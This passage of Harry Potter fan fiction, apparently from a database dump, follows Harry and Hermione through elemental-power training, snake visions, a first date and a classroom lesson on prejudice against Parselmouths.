related to them, the wards, which must be keyed to them, just &#8216;think&#8217; that you&#8217;re one of them. And since you taught me how to Wander inside Hogwarts, you &#8216;accidentally&#8217; keyed me to the wards, too.&#8221;</p>\n\n<p>Harry tilted his head, pondering on what she&#8217;d said. &#8220;You know, I think you&#8217;re right again, Hermione,&#8221; he said, beaming. &#8220;Brilliant!&#8221;</p>\n\n<p>Hermione blushed. &#8220;Just simple logic, really,&#8221; she muttered, &#8220;and something I found in <i>Hogwarts: A History,</i> suggested that it might be right.&#8221; Harry laughed heartily, and Dumbledore chuckled, making Hermione blush redder. They all quickly turned serious again, though.</p>\n\n<p>&#8220;But can we be sure that both this tale and the prophecy speak of Voldemort?&#8221; Harry asked the two others.</p>\n\n<p>&#8220;It must be,&#8221; said Dumbledore. &#8220;He must have some of either Pectal or Citatio abilities, when he can Wander, and it is mostly agreed on the fact that there cannot be two Citatios. Besides, it is the fact that you&#8217;ve found them, read them, and found parallels to our time. I don&#8217;t think that&#8217;s a coincidence.&#8221;</p>\n\n<p>Harry nodded gravely. &#8220;You&#8217;re right. There is no reason to have two Citatios, so Voldemort cannot be one, and the Element of Dark cannot send any Citatio to fight for it either. It seems though, as if it can send something worse.&#8221;</p>\n\n<p>He locked his gaze with Hermione. &#8220;It is a most grave matter. It is very important that we get ready to fight Voldemort. I don&#8217;t know why, but obviously he didn&#8217;t have his full powers when my mother vanquished him sixteen years ago, or perhaps he just didn&#8217;t truly know how to use them. Anyway, he knows now, and has spent the last few years growing stronger. Soon he&#8217;ll be as strong as he can get, and even though both of us are more powerful than is normal for Pectals and Citatios, we can&#8217;t be sure if it&#8217;s enough,&#8221; he said worriedly, and Dumbledore nodded.</p>\n\n<p>&#8220;Yes, you must spend as much time as possible to prepare. Once he reaches his full power, he will go after you.&#8221; The old Headmaster looked seriously at the young teens, one who had already fought many battles, and was more of an adult than most people twice his age, and one who would soon be thrown into the battle zone, a terrifying experience for a girl so young. Yet, they were both determined to continue. Never had he been so proud, and never had he been so concerned. He cared greatly for these young adults. He promised himself to make great effort to find out when Voldemort went after them, so they could be as prepared as possible.</p>\n\n<p>~*~</p>\n\n<p>It was a few days after the meeting with Dumbledore, and the two teens were now working on Hermione&#8217;s animagus forms yet again. Now having mastered the horse, the kneazle, the abraxan, the dragonfly and the wolf, Harry wanted her to manage her peregrine falcon, in case she should need to flee sometime.</p>\n\n<p>Hermione was currently learning how to fly, and failing rather thoroughly.</p>\n\n<p>&#8220;Hermione,&#8221; Harry said patiently. &#8220;Here I think you have to think the opposite way of what you&#8217;ve been doing earlier on, like when you tried the kneazle.&#8221;</p>\n\n<p>Hermione tilted her head in a very bird-like way.</p>\n\n<p>&#8220;With the kneazle, you kind of knew how to do it, &#8216;cause even though it has four legs, it&#8217;s not <i>that</i> different from two legs, so you had to suppress the cat&#8217;s instincts,&#8221; he explained. &#8220;The bird flies. That&#8217;s very, <i>very,</i> different from us humans, and therefore you have to let the bird&#8217;s instinct take over, &#8216;cause the bird <i>can </i>fly, while you cannot. Let it teach you.&#8221;</p>\n\n<p>&lt;Okay,&gt; Hermione nodded, and Harry looked distinctly amused a second, as having a bird do such a human thing was downright hilarious.</p>\n\n<p>Hermione looked out, seeing Hogwarts&#8217; grounds far below. They were in one of the highest turrets of the castle, and Harry had just magicked her back to him for the hundredth time, after one of her near-crashes.</p>\n\n<p>She sighed.</p>\n\n<p>&#8220;We can continue tomorrow though, if you-&#8221; he never had the chance to finish.</p>\n\n<p>&#8220;Oh yes, can we, can we?&#8221; Hermione cried happily, having popped back to human existence the instant the words left his mouth.</p>\n\n<p>Harry smiled slightly. &#8220;Okay, if you absolutely want to,&#8221; he said. He was about to say something more, but was interrupted when he found himself with a Hermione on his face.</p>\n\n<p>&lt;You really&#8230; don&#8217;t &#8230; like &#8230; flying&#8230;&gt; he managed to send to her. She replied by touching her tongue to his lips, and he automatically opened for her. He had problems sticking two thoughts together after that.</p>\n\n<p>When they finally broke free, Harry&#8217;s eyes were slightly glazed. </p>\n\n<p>&#8220;You&#8217;re all right Harry?&#8221; Hermione asked, a bit breathlessly.</p>\n\n<p>&#8220;I&#8217;m scarred for life&#8230;&#8221; Harry said dazedly, obviously not having expected being jumped that way.</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>He seemed to snap back to reality. &#8220;Did you say anything?&#8221; he asked her, and Hermione raised her eyebrows.</p>\n\n<p>&#8220;Never mind,&#8221; she said dryly. Then, &#8220;What do we do now? The day&#8217;s still young.&#8221;</p>\n\n<p>&#8220;Hmm&#8230; Actually I&#8217;m not quite sure&#8230;&#8221; Harry said slyly. &#8220;What do you say about this?&#8221; he asked, and swept her into another kiss.</p>\n\n<p>After a little while, Hermione pushed him away, smiling. He pouted, faking hurt.</p>\n\n<p>&#8220;As much as I like that, it isn&#8217;t very productive,&#8221; she said. Harry got a wicked glint in his eyes. &#8220;Mind out of the gutter, Potter!&#8221; she said sharply. &#8220;That wasn&#8217;t what I meant.&#8221;</p>\n\n<p>Harry snapped into seriousness again. &#8220;Well, I&#8217;m not quite sure,&#8221; he said thoughtfully. Then he lit up. &#8220;I suppose we could test what our limits are.&#8221;</p>\n\n<p>&#8220;You&#8217;ve never done that before?&#8221; Hermione asked, her eyebrows going into her hairline.</p>\n\n<p>Harry smiled sheepishly.</p>\n\n<p>&#8220;You&#8217;ve never done that before,&#8221; she stated. &#8220;Harry, we&#8217;re talking about saving the world here, and you&#8217;ve never checked how far you can go?!&#8221;</p>\n\n<p>Harry grinned. &#8220;Of course I have, Hermione, you just misunderstood me.&#8221; Then upon seeing her glare, he faltered a little. &#8220;Or perhaps I was unclear. The point is that I know how long I can last, when I have to stop, and what I can do, but I&#8217;ve never tested how powerful I am.&#8221;</p>\n\n<p>&#8220;Which means?&#8221; she said sceptically.</p>\n\n<p>&#8220;That I&#8217;ve never checked how many volcanoes I can erupt, how many oceans I can empty, how many stars I can turn off-&#8221;</p>\n\n<p>&#8220;Okay, okay, I get your point. Shall we go then?&#8221;</p>\n\n<p>Ten minutes later they stood in the middle of a very cold, very vast, and very lonely place.</p>\n\n<p>&#8220;<st1:place>Siberia</st1:place>!&#8221; Harry announced. &#8220;No place is better when we&#8217;re going to throw things off the scale,&#8221; he said cheerfully.</p>\n\n<p>Hermione shook her head, smiling. &#8220;Show me what you can do then,&#8221; she challenged.</p>\n\n<p>&#8220;Okay,&#8221; he said. &#8220;Be prepared!&#8221;</p>\n\n<p>He concentrated. Hermione saw a small crack starting to form in the ground. It rumbled about them. The crack grew until it was a hole as big as a football, and then-</p>\n\n<p>Hermione screamed.</p>\n\n<p>Flowing, hot lava poured out of the hole! The spray stood twenty metres into the air! It rained down upon them, and Hermione crouched down, her hands going up to protect her head.</p>\n\n<p>Nothing happened though. The lava was still pouring out of the crack but a transparent shield covered them, protecting them from the dangerous flow. The grass around them was lit with fire.</p>\n\n<p>Then, as suddenly as it had started, the spray stopped. The lava was drawn back, and the crack closed. The fires were put out, and all that remained was charred and sooty grass.</p>\n\n<p>Harry grinned. </p>\n\n<p>&#8220;How did you do that?&#8221; Hermione asked, wide-eyed.</p>\n\n<p>&#8220;I simply made a small crack in the surface, making it very, very deep. The pressure down there is so great that it does the rest, so the biggest problem is to keep the crack small, and to sever it.&#8221; He answered, frowning slightly. &#8220;It wasn&#8217;t so much of a strain this time though&#8230;&#8221;</p>\n\n<p>He shrugged it off, as he saw Hermione starting to make a crack too. It wasn&#8217;t as deep as his, &#8216;only&#8217; a five kilometre wide circle. Confused, he looked at as she made several more, not as deep, and not circular. When she was finished, she lighted them, (with what he wasn&#8217;t entirely certain) so they shone in the darkness, and then she persuaded him to fly up as a thestral, with her on his back. Then he could see that the crack formed the image of a snitch. He laughed as he saw the very big snitch etched into the ground, bathed in light. With a grin, Hermione closed the cracks, and the snitch was gone.</p>\n\n<p>They spent the next hours exploring their powers, and had great fun doing so. Since it was mid-day in <st1:country-region><st1:place>England</st1:place></st1:country-region>, it meant it was night in <st1:place>Siberia</st1:place>, even though the nights rather short now, so far north. Finally, as the sun started making its way above the horizon, Harry made the portal which would take them home. </p>\n\n<p>Then he remembered what Voldemort had done, and straining his power, he opened it as big as he could manage, somewhere inside the <st1:place><st1:placename>Forbidden</st1:placename>\n\n<st1:placetype>Forest</st1:placetype></st1:place>.</p>\n\n<p>Disappointedly he found out he could only manage about a third of what Voldemort could.</p>\n\n<p>Hermione sensed this, and laid a hand on his shoulder. &#8220;Don&#8217;t worry Harry,&#8221; she said. &#8220;In fact, this supports a theory of mine,&#8221; she said as they went through it and he closed it.</p>\n\n<p>&#8220;Oh?&#8221; he said.</p>\n\n<p>&#8220;The two of us aren&#8217;t very powerful &#8216;magically&#8217;, when compared to Voldemort. He can open bigger portals, he can crush more humans, and he can take down more persons with one curse. I think that is because he has the Citatio and Pectal power combined,&#8221; she said. &#8220;But I don&#8217;t think he has many Talents.&#8221;&nbsp; </p>\n\n<p>Harry looked startled. &#8220;How do you know that?&#8221; he asked.</p>\n\n<p>&#8220;I made a Soul-Search,&#8221; she said. &#8220;I took one of your memories of Voldemort, and checked him for Talents. I only found the one you discovered, Weaving and Mind-Reading, which isn&#8217;t half as good as Mind-Searching.&#8221; She smiled and squeezed his hand. &#8220;Besides, his Mind-Reading Talent isn&#8217;t very strong either. And then there was Voice, which he wasn&#8217;t better at than me.&#8221;</p>\n\n<p>Harry pondered at that. &#8220;You think his having both female and male power kind of &#8216;block&#8217; other Talents?&#8221; </p>\n\n<p>Hermione nodded, and kissed his cheek. &#8220;We&#8217;ll win, Harry, don&#8217;t worry,&#8221; she said, soothingly, trying to keep the doubt out of her voice. They had to believe in victory, or they would lose.</p>\n\n<p>Sighing, Harry changed into Christian as they walked towards the school. Then he stopped.</p>\n\n<p>&#8220;You said you Soul-Searched!&#8221; he exclaimed.</p>\n\n<p>Hermione smiled sweetly. &#8220;Did I now?&#8221;</p>\n\n<p>&#8220;Why haven&#8217;t you told me it had awakened?&#8221; he asked, sounding a bit offended.</p>\n\n<p>&#8220;Why, I wanted you to figure it out by yourself,&#8221; she answered.</p>\n\n<p>Harry growled. &#8220;I&#8217;ll never understand women.&#8221; </p>\n\n<p>~*~</p>\n\n<p>====================</p>\n\n<p><b>Disclaimer</b>: JKR owns everything except the plot, which is mine. Beta-read by the-dreamer. Go us all.</p>\n\n<p><b>Anyone who wants to get an e-mail every time I update, state so in your review!</b></p> '),
	(234, 17, ' <p><b>Chapter Seventeen: Serpent&#8217;s Search</b>\n\n</p>\n\n<p>It was silent. Not a sound could be heard in the small room. The flickering little fire gave almost no light.</p>\n\n<p>Ron&#8217;s eyes were locked on it though. Trying to void his head of all thoughts, as Asham&#8217;d told him to; he concentrated on the burning flames.</p>\n\n<p>The silence was eerie.</p>\n\n<p>Then, something happened.</p>\n\n<p>Ron curbed his beginning panic when the fire consumed him, and then his confusion when he realised the little flame had not changed. It was still there, in the middle of the room, unchanged, and not the roaring fire he&#8217;d thought he&#8217;d felt burn him.</p>\n\n<p>Again, he stared at the fire. And saw.</p>\n\n<p>Orange, yellow, red and blue flames spread outwards, and he realised they did so in his own mind. It was as if he was in the midst of a fire, but he was not burnt.</p>\n\n<p>Then the fire spoke to him.</p>\n\n<p>It made no words, but he felt it. A heavy presence of something ancient, something wild but wise. Something uncontrollable and destructive, yet obedient and able to bring new life.</p>\n\n<p>He felt its heavy burden. It was fully aware of how important it was. And fully aware that its importance gave it a huge responsibility.</p>\n\n<p>The roaring fire gave way. He <i>was</i> a flame. A small, flickering light in a dark nothingness. He saw other small lights, like candles. Every one of them was a human, like himself, he realised. And some were not humans. He could sense them, and understood that there was a fire in all beings.</p>\n\n<p>A flame that burnt, and which the person tried to keep a-light. A will to fight and to live.</p>\n\n<p>And he understood, that the Element of fire watched over all this lights, saw them being born, and being blown out. The Element watched every one of them, both those who burnt steadily, those who tended to burst high and then fall low, and those who faded and flared.</p>\n\n<p>And he understood. Fire had chosen him. He had a task she wanted him to do. Still, he did not know what it was all about, but he swore to find out.<b></b></p>\n\n<p>&nbsp;~*~</p>\n\n<p>There was a tunnel. A dark, narrow one. No light, absolutely no light could be spotted. It was as dark as death.</p>\n\n<blockquote><i>Yet, he could see: small cracks, stones, rocky outcrops, the roof above. He was rather big, he noticed, as his body glided across stones and gravel. A very long body. It made sounds. Scratchy sounds, as it moved across rubble and the un-even floor.</i></blockquote>\n\n<blockquote><i>Here and there he heard the trickle of water.</i></blockquote>\n\n<blockquote><i>It came so gradually that he nearly missed it, but suddenly he realised that it was lighter. It wasn&#8217;t so dark anymore. His head lifted higher, wavered back and forth. A tongue slithered out of his mouth. The light seemed to come from just around the corner. It was very faint, only a certain greyness, which stemmed from glowing torches.</i></blockquote>\n\n<blockquote><i>He moved forward&#8230;</i></blockquote>\n\n<p>&#8220;Harry?&#8221;</p>\n\n<p>&#8220;Um, what?&#8221; Harry found himself staring into Hermione&#8217;s concerned eyes.</p>\n\n<p>&#8220;You zoned out for a bit,&#8221; she said. &#8220;Are you all right?&#8221;</p>\n\n<p>Harry shook his head, as if to clear it. &#8220;Yeah, just a vision.&#8221;</p>\n\n<p>&#8220;A vision? What about?&#8221;</p>\n\n<p>&#8220;I don&#8217;t know. It was someplace small and dark. I&#8217;ve had several of those before, where I&#8217;m moving through small, dark tunnels, but this was the first time I&#8217;ve ever encountered light.&#8221;</p>\n\n<p>Hermione raised her eyebrows. &#8220;Do you have any idea what it means?&#8221;</p>\n\n<p>&#8220;No clue,&#8221; Harry replied honestly. &#8220;But I guess I&#8217;ll find out sooner or later anyway.&#8221;</p>\n\n<p>Hermione frowned, but said nothing. Both of them knew that his visions could be important, but as long as they couldn&#8217;t decipher them they were of no use.</p>\n\n<p>They were currently duelling, trying to perfect their skills. For this, they often had help from some of the Order&#8217;s most skilled duellists, and in only a few weeks Hermione was getting quite good. Harry, who had always been better at Defence Against the Dark Arts, was improving at an alarming rate. As Harry sardonically told Mr Arlenmeier, a death threat was indeed a fine motivation.</p>\n\n<p>This day however, they&#8217;d gotten out of bed early, trying out some moves, and duelling without a wand. If anyone had been looking, they would have enjoyed a very nice light show, as the two flung light beams in every thinkable colour at each other, and at the occasional dummy. Unfortunately, Harry had to slide into this now familiar vision. All he had done was to sit down for a second, while Hermione was blasting a wolf-like stone-gargoyle off to God-knows-where, and he fell into trance. </p>\n\n<p><i>Annoying!</i></p>\n\n<p>&#8220;Well, I suppose I have to go to breakfast,&#8221; Harry sighed. As Professor Atos he had to make an appearance at meals, and he especially hated breakfast, when the newspaper came. Every day there had been a new attack. Not big, only a few casualties, but still they came every single day. If the Death Eaters were caught, it soon became apparent that they were very low-ranking. This resulted in despairing Aurors, since they never had a breakthrough, never caught any important, high-ranking guys, and never came any closer to finding Voldemort&#8217;s lair.</p>\n\n<p>Hermione had completely quit going to meals, after a few unpleasant encounters where she&#8217;d been required to use force. She&#8217;d had several curses flung after her, and only quick reflexes, earned from her fighting with Harry had saved her. The culprits had of course been punished, but Dumbledore and (especially) Harry still thought it was best if she kept away from the rest of the student body.</p>\n\n<p>Silently, Harry shifted into Christian, and made his way towards the Great Hall. It was confusing really; only a few knew he was both Harry and Christian, so he had to be very careful with the way he spoke when there were other people around, and that he didn&#8217;t give in to his slightly naughty impulses concerning Hermione, when he was Christian. Somehow, he wasn&#8217;t so sure if that would go well with her. He sighed again. He was heading towards a serious identity crisis, no doubt.</p>\n\n<p>~*~</p>\n\n<p>&#8220;Harry, I still don&#8217;t think this is a good idea,&#8221; Hermione said.</p>\n\n<p>&#8220;Relax, Hermione. We need a break once in a while, and besides, I&#8217;ve never been on a date with you before,&#8221; Harry replied.</p>\n\n<p>&#8220;So this is our first official date then?&#8221; Hermione asked, a smile tugging at her lips.</p>\n\n<p>&#8220;Yep.&#8221;</p>\n\n<p>&#8220;Shouldn&#8217;t my father know about it then?&#8221; she asked thoughtfully. &#8220;You know, wouldn&#8217;t it be best if you asked for his <i>permission</i> to take me out?&#8221;</p>\n\n<p>Harry stopped abruptly and turned towards her. &#8220;You think so?&#8221; he asked, alarmed.</p>\n\n<p>Hermione laughed. &#8220;I&#8217;m sure he&#8217;ll forgive you,&#8221; she said, and gave him a quick peck on his lips. </p>\n\n<p>&#8220;Tease,&#8221; Harry muttered, but she ignored him.</p>\n\n<p>&#8220;So, where are we going?&#8221;</p>\n\n<p>Harry smiled. &#8220;A little Italian restaurant. I found it last year, when I lived around here.&#8221;</p>\n\n<p>&#8220;Oh! I love Italian food!&#8221; Hermione almost squealed. &#8220;Perhaps this <i>is</i> a good idea after all.&#8221;</p>\n\n<p>In all honesty, it was. Harry had suddenly decided that they needed a break from the constant Voldemort-worrying, so he&#8217;d asked Hermione out. He&#8217;d been very romantic about it, too, sending Hedwig (who was still disguised as a pretty, black owl) to her with three red roses, and a small note. <i>&#8216;Do you like surprises, Hermione? I have one for you. </i><st1:time minute="0" hour="7"><i>Seven o&#8217;clock</i></st1:time><i>, you-know-where.</i><i> Muggle clothing. Love, Harry&#8217; </i>Well, perhaps the note hadn&#8217;t been overly romantic, but then, Harry had never been a poet either.</p>\n\n<p>She had been very intrigued, and had of course been &#8216;you-know-where&#8217; at <st1:time minute="0" hour="7">seven o&#8217;clock</st1:time>. &#8216;You-know-where&#8217; was in &#8216;their&#8217; secret turret, where they went when they wanted some, er, privacy.</p>\n\n<p>From there Harry had taken her to the outskirts of Muggle Oxford. And so, they ended up eating pasta in a cosy little place that reminded Hermione strangely of the Burrow. Even Hermione&#8217;s faded Muggle jeans and blue turtle-neck fit in, somehow. She could see why Harry liked it.</p>\n\n<p>&#8220;Don&#8217;t do that,&#8221; Harry said suddenly.</p>\n\n<p>Hermione looked at him, startled. &#8220;What?&#8221;</p>\n\n<p>&#8220;Suck the pasta into your mouth like that,&#8221; he answered.</p>\n\n<p>&#8220;Like this?&#8221; she asked, and with a &#8216;slurp&#8217; sucked a long string of pasta (bathed in pesto-sauce) into her mouth.</p>\n\n<p>&#8220;Yes, that,&#8221; Harry said, swallowing visibly.</p>\n\n<p>&#8220;Why not?&#8221; she asked.</p>\n\n<p>&#8220;Because&#8230;&#8221; he faltered. &#8220;Just because.&#8221;</p>\n\n<p>Her eyes narrowed, and purposefully she repeated the action. Harry gulped and shifted, his own meal forgotten.</p>\n\n<p>She looked quizzically at him. Why was he reacting like that? If he found it disgusting, why didn&#8217;t he just say so? What did he mean by &#8216;just because&#8217;?</p>\n\n<p>Doing the same yet again, she observed him closely, looking for a reaction that could explain his queer behaviour. And this time, she did get a reaction.</p>\n\n<p>Harry dropped his fork, (which he&#8217;d been holding) leaned over the table, cupped her cheek, and kissed her quite squarely on her lips. It wasn&#8217;t a chaste or gentle kiss. It was hot, passionate, mind-scattering, and it lasted for quite some time. Shocked as she might be, Hermione found herself kissing him back, ignoring whatever stares they were getting from other people. The part of her brain which could think coherently cursed the table that separated them.</p>\n\n<p>They pulled apart, breathing rather heavily, and grinning rather foolishly. &#8220;Please don&#8217;t do that again,&#8221; Harry said, his face colouring slightly. &#8220;You have no idea how maddening it is.&#8221;</p>\n\n<p>Hermione blushed, her mind still whirling, since he could be very maddening, too. Or perhaps <i>irresistible </i>was a better word. She was pleased with herself though; she&#8217;d never imagined herself able to draw such a reaction out of a male, just by <i>eating.</i></p>\n\n<p>~*~</p>\n\n<p>There was a tunnel. A dark, narrow one. No light, absolutely no light could be spotted. It was as dark as death.</p>\n\n<p><i>Yet, he could see: small cracks, stones, rocky outcrops, the roof above. He obviously had some kind of night-vision. He was rather big, he noticed, as his body glided across stones and gravel. A very long body. It made sounds. Scratchy sounds, as it moved across rubble and the un-even floor. He realised that it was his scales, rubbing against each other, which made that sound.</i></p>\n\n<p><i>Here and there he heard the trickle of water.</i></p>\n\n<p><i>A hissing sound made its way out of his mouth</i></p>\n\n<p><i>It came so gradually that he nearly missed it, but suddenly he realised that it was lighter. It wasn&#8217;t so dark anymore. Somewhere in front of him there was some sort of light source. His head lifted higher, wavered back and forth. A tongue slithered out of his mouth. The air further up the tunnel was obviously coming from some bigger room. It didn&#8217;t have the heavy taste that filled the rest of the tunnel. It smelled dustier though. Less water apparently. The light seemed to come from just around the corner. It was very faint, only a certain greyness, which stemmed from glowing torches.</i></p>\n\n<p><i>He moved forward. Something told him that the room was very big. Upon rounding the corner, he came out of the tunnel, and into a bigger space. Some kind of rock or boulder was blocking his sight.</i></p>\n\n<p><i>His body slithered around it, and he looked into a room which seemed strangely familiar&#8230;</i></p>\n\n<p>~*~</p>\n\n<p>Harry woke up, his hand going to his scar immediately. It was stinging badly, but the pain was rapidly diminishing. He looked about in the dark room, automatically checking for possible enemies.</p>\n\n<p>He moaned, and tried to remember the dream, trying to figure out whatever had made Voldemort so angry about that chamber.</p>\n\n<p>Then he realised, that Voldemort hadn&#8217;t been angry. He&#8217;d been triumphant. </p>\n\n<p>He swore. There was something familiar about that room, but he hadn&#8217;t seen enough of it to recognise it. But whatever pleased Voldemort so much about it?</p>\n\n<p>&#8220;Harry?&#8221;</p>\n\n<p>Harry shot up, his hand on his wand. &#8220;Hermione?&#8221; he said, confused. &#8220;Why &#8211;what are you doing here?&#8221;</p>\n\n<p>&#8220;I sensed your pain,&#8221; she replied. &#8220;What happened?&#8221;</p>\n\n<p>He slumped back into his pillows. &#8220;Nothing. Just a dream.&#8221;</p>\n\n<p>She raised her eyebrows, well aware that it hadn&#8217;t been &#8216;nothing&#8217;. She laid her hand to his forehead, and he moaned softly again, but from pleasure this time, as her healing magic wafted through his body and left his body completely at peace.</p>\n\n<p>&#8220;Do you mind if I make a Search?&#8221; she asked quietly. He grunted &#8216;no&#8217;, and forced himself not to block her out of his mind. He knew that her cool intelligence and logic could help him solve this riddle. Fortunately, she was very gentle, and he hardly noticed anything as she delved into his memory.</p>\n\n<p>As she withdrew, he saw the expression he knew so well, the one she always had when she had a puzzle, and no answer. It showed her determination to get to the bottom, a will to continue searching until she found the correct answer. He smiled slightly, as he slipped back into sleep. <i>His </i>Hermione would never change.</p>\n\n<p>~*~</p>\n\n<p>When he woke next time, it was morning, and he was only slightly surprised when he found Hermione curled up beside him, sound asleep, and looking very, very cute. Gently, he brushed away some strands of curly, brown hair which had fallen into her face.</p>\n\n<p>Silently, he got out of bed, and clothed himself. Outside the sun was shining, signalling that spring was coming. The snow had left a few weeks ago, but it was still rather cold, and heavy rainstorms were frequent.</p>\n\n<p>Padding through the corridors, he arrived at an almost empty Great Hall. <i>Oops&#8230;</i> He thought, and decided to skip breakfast this morning, or else he would have to deduct points from himself.</p>\n\n<p>He arrived three seconds too late, so it went un-noticed. Taking his normal seat at the edge of his desk, he made sure everyone had arrived. It was a group of fifth year Gryffindors this time, and after collecting their homework, (inwardly groaning at the work-load he would have to go through) he started on today&#8217;s lecture.</p>\n\n<p>&#8220;Let&#8217;s start with discussing Parselmouths,&#8221; he said aloud. This immediately caught the class&#8217;s attention. &#8220;First, let get down some facts about them,&#8221;</p>\n\n<p>&#8220;They&#8217;re evil wizards,&#8221; one of his students said.</p>\n\n<p>&#8220;You-know-who is one,&#8221; another added.</p>\n\n<p>&#8220;Harry Potter is one,&#8221; came a third student.</p>\n\n<p>Christian raised an eyebrow. &#8220;Okay, that&#8217;s enough. I was only interested in one of those facts, really. It is common to believe that Parselmouths are evil wizards.&#8221; He looked at his class. &#8220;Why?&#8221;</p>\n\n<p>The class was silent. Then Adam Peters raised his hand.</p>\n\n<p>&#8220;They talk to snakes, sir.&#8221;</p>\n\n<p>&#8220;And that makes them evil?&#8221; Christian asked, faking astonishment.</p>\n\n<p>&#8220;Snakes are evil creatures, sir,&#8221; Adam added.</p>\n\n<p>&#8220;Are they now?&#8221; Christian asked, and proceeded to draw a small snake out of his pocket, which he so banished to <st1:place>Adams</st1:place> desk. &#8220;This is a snake, a quite friendly little fellow, not dangerous at all.&#8221; The snake hissed at Adam, who drew back, paling considerably. Christian walked forwards and picked it up. &#8220;Touch it, Mr Peters,&#8221; he said kindly. &#8220;It won&#8217;t hurt you, you know.&#8221;</p>\n\n<p>Hesitantly, Adam reached out and touched the scaly little head, before he smiled shakily. The little snake slithered up and curled around his arm, where it settled.</p>\n\n<p>Christian hid a grin. &#8220;Could you take care of him till the end of this lesson?&#8221; he asked, and went back to his desk, not waiting for an answer. There, he found a basket, which had been hidden behind it. From it he drew a bigger snake; a Green Cobra. Those of the class who recognised it gasped, which drew the attention of the others, who realised that this probably was rather dangerous.</p>\n\n<p>&#8220;This one,&#8221; Christian continued, unfazed, &#8220;is a Green Cobra, a highly poisonous snake.&#8221; He turned to the class. &#8220;Is it evil?&#8221;</p>\n\n<p>The class looked at each other, and a girl raised her hand.</p>\n\n<p>&#8220;Is it, Ms Vanne?&#8221; he asked.</p>\n\n<p>&#8220;The snake isn&#8217;t, Professor. It is just an animal, who fights for survival. It was born poisonous, and had no choice in the matter,&#8221; the girl said.</p>\n\n<p>&#8220;Correct, Ms Vanne. Why do we then assume that Parselmouths are evil?&#8221; He gave the question to the same girl.</p>\n\n<p>&#8220;Because they talk to the snakes, and tell them to hurt others,&#8221; she answered.</p>\n\n<p>&#8220;Do <i>all</i> Parselmouths do that?&#8221; he asked.</p>\n\n<p>That gave the class something to think about. &#8220;I would say no,&#8221; Christian continued. &#8220;Not all Parselmouths misuse their gift, though we often hear only of those who do. Which brings us to the real point of this lesson.&#8221;</p>\n\n<p>He paused and put the snake back in its basket. &#8220;It is commonly believed that Parselmouths are evil. I don&#8217;t think those who think so have thought very much about that, for it is a gift &#8211;or curse, you may say- the wizard or witch is born with. Does that mean that the little new-born toddler is destined to be evil, just because of something he or she is born with?&#8221;</p>\n\n<p>The class shook their heads. That sounded terribly un-fair to them.</p>\n\n<p>&#8220;<i>Precisely</i>, ladies and gentlemen,&#8221; Christian beamed at them. &#8220;Everyone should think on that matter; for it is not only concerning Parselmouths this is applied. Werewolves, for example, cannot get a job in the Wizarding world, because the law says so. Werewolves are dark creatures, but only a few days each month. I trust all of you remember Remus Lupin, who taught here at Hogwarts in your first year. He was a werewolf, but he&#8217;s never ever hurt anybody under the full moon.&#8221; Harry decided not to mention anything about his escapades as a Marauder.</p>\n\n<p>&#8220;Also,&#8221; he continued, &#8220;here, at this very school, it is commonly believed, especially among Gryffindors, that the Slytherins are Death Eaters.&#8221; The Gryffindors looked at each other. &#8220;Does that mean that everyone who is a Slytherin can&#8217;t choose what he or she wants to be?&#8221;</p>\n\n<p>&#8220;But Slytherins have chosen before they&#8217;re sorted,&#8221; one of his students told him stubbornly.</p>\n\n<p>&#8220;Indeed. Did you have any thoughts on the matter when you were eleven, Mr Creevy?&#8221; Christian asked sarcastically. Dennis blushed and said nothing.</p>\n\n<p>&#8220;You are what you choose to be, Mr Creevy. They say that Slytherins are ambitious and sly, not evil. There&#8217;s a little difference there,&#8221;</p>\n\n<p>&#8220;But very many Slytherins become Death Eaters,&#8221; a girl objected.</p>\n\n<p>&#8220;I know,&#8221; Christian admitted. &#8220;But some are doing it under pressure from their families, or choose that path as a result of their upbringing. For it is true, that very many purebloods are sorted to Slytherin, probably because they&#8217;re more ambitious than the Muggle-borns, who are trying to get used to a completely new society.&#8221;</p>\n\n<p>The rest of the class went to discuss the Gryffindor-Slytherin rivalry, and then he told them to write an essay, which they should head &#8216;Prejudices&#8217;. He ignored the little voice that told him that this hardly was Defence Against the Dark Arts, and decided to disagree with it. Being aware of the difference between Light and Dark was perhaps the most important part of the subject.</p>\n\n<p>All in all, it was a very nice start to the day. The only minus was that he was going to do the same class with the Slytherins next lesson.</p>\n\n<p>~*~</p>\n\n<p>It was evening, late April. The students of Hogwarts were in a frenzy for the exams, which were only two months away, and the teachers were rubbing their hands together, being altogether vindictive and evil. At least from the students&#8217; point of view.</p>\n\n<p>Several of the teachers however, didn&#8217;t have exams on their minds. For almost two months there had been low activity among the Death Eaters. It was almost certain that something big was going to happen soon. <i>The silence before the storm.</i> The more silent, the bigger storm.</p>\n\n<p>&#8220;So what if he tries to storm Hogwarts?&#8221; one of the Order members present asked. &#8220;Would he be able too?&#8221;</p>\n\n<p>The staff of Hogwarts looked at each other, before Dumbledore shook his head. &#8220;It is a possibility, but Hogwarts has always been impregnable<b>\n\n</b>before. We have to be on guard though.&#8221;</p>\n\n<p>Hermione was also present. Even though she <i>was</i> the Pectal, most of the Order looked at her as a little girl, so she spent the majority of the meetings listening. For Harry it was different; as Harry Potter he was still a child, who had spent two years on-the-run, but he was The-Boy-Who-Lived, and they listened slightly more to him than to her. As Christian Atos however, he was the Defence teacher, and a very bright young man, who looked older than his age, so they actually listened to him. That he hadn&#8217;t mentioned that he was only seventeen probably had something to do with it, too.</p>\n\n<p>But today, Hermione wasn&#8217;t listening. She was pondering on a problem. Something nagged her, and she knew the feeling; she was missing something. Something important. But what?</p>\n\n<p>It was that dream, she was certain of it. Every night since she&#8217;d seen that dream of Harry&#8217;s, where he was a snake in a cavern, she&#8217;d dreamt about caverns. For three nights, she&#8217;d dreamt about the same thing. She started out in a tunnel, and followed the snake on its journey, before she came into a big cavern, which actually had statues and columns supporting the roof. And there was some kind of fight. A small child was fighting the snake, but that seemed strange, for the snake seemed so much bigger all of a sudden. Then the dream would switch, and she would see the face of Voldemort, or a lot of dark robed wizards.</p>\n\n<p>The dream scared her, and somehow she knew it was significant, and that her sub-consciousness was trying to tell her something.</p>\n\n<p>She snapped into reality again when Harry nudged her shoulder. &#8220;Hermione? Is something wrong?&#8221; he asked.</p>\n\n<p>Startled she looked around, and noticed that everyone had left except Harry and Dumbledore. Both were looking at her curiously, and Harry seemed a bit concerned. She found that quite cute and lovable.</p>\n\n<p>She opened her mouth to say &#8216;I&#8217;m fine&#8217;, but found the words stuck in her throat. She sighed exasperated. &#8220;I don&#8217;t know what&#8217;s wrong,&#8221; she said truthfully, and Harry became more concerned. &#8220;It&#8217;s a dream I keep having. 